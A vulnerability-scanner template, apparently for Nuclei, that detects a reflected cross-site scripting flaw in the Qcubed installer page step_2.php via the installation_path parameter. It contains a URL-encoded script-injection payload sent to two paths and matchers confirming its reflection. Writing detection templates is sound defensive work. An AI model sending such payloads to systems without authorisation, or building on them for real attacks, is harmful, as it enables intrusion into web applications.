id: qcubed-xss

info:
  name: Qcubed - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: Qcubed contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary JavaScript via the /assets/php/_devtools/installer/step_2.php endpoint and the installation_path parameter.
  reference:
    - https://github.com/qcubed/qcubed/issues/1230
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: xss,qcubed

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/qcubed/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html
# digest: 4a0a0047304502205e19675606e3e853cafa04819cb74336354f21edbb2c2ee3147138623ae334ff022100fcc3bc764441228231cba95770fcb82430309f5406bf7a6f1004aa90a4716c72:922c64590222798bb761d5b6d8e72950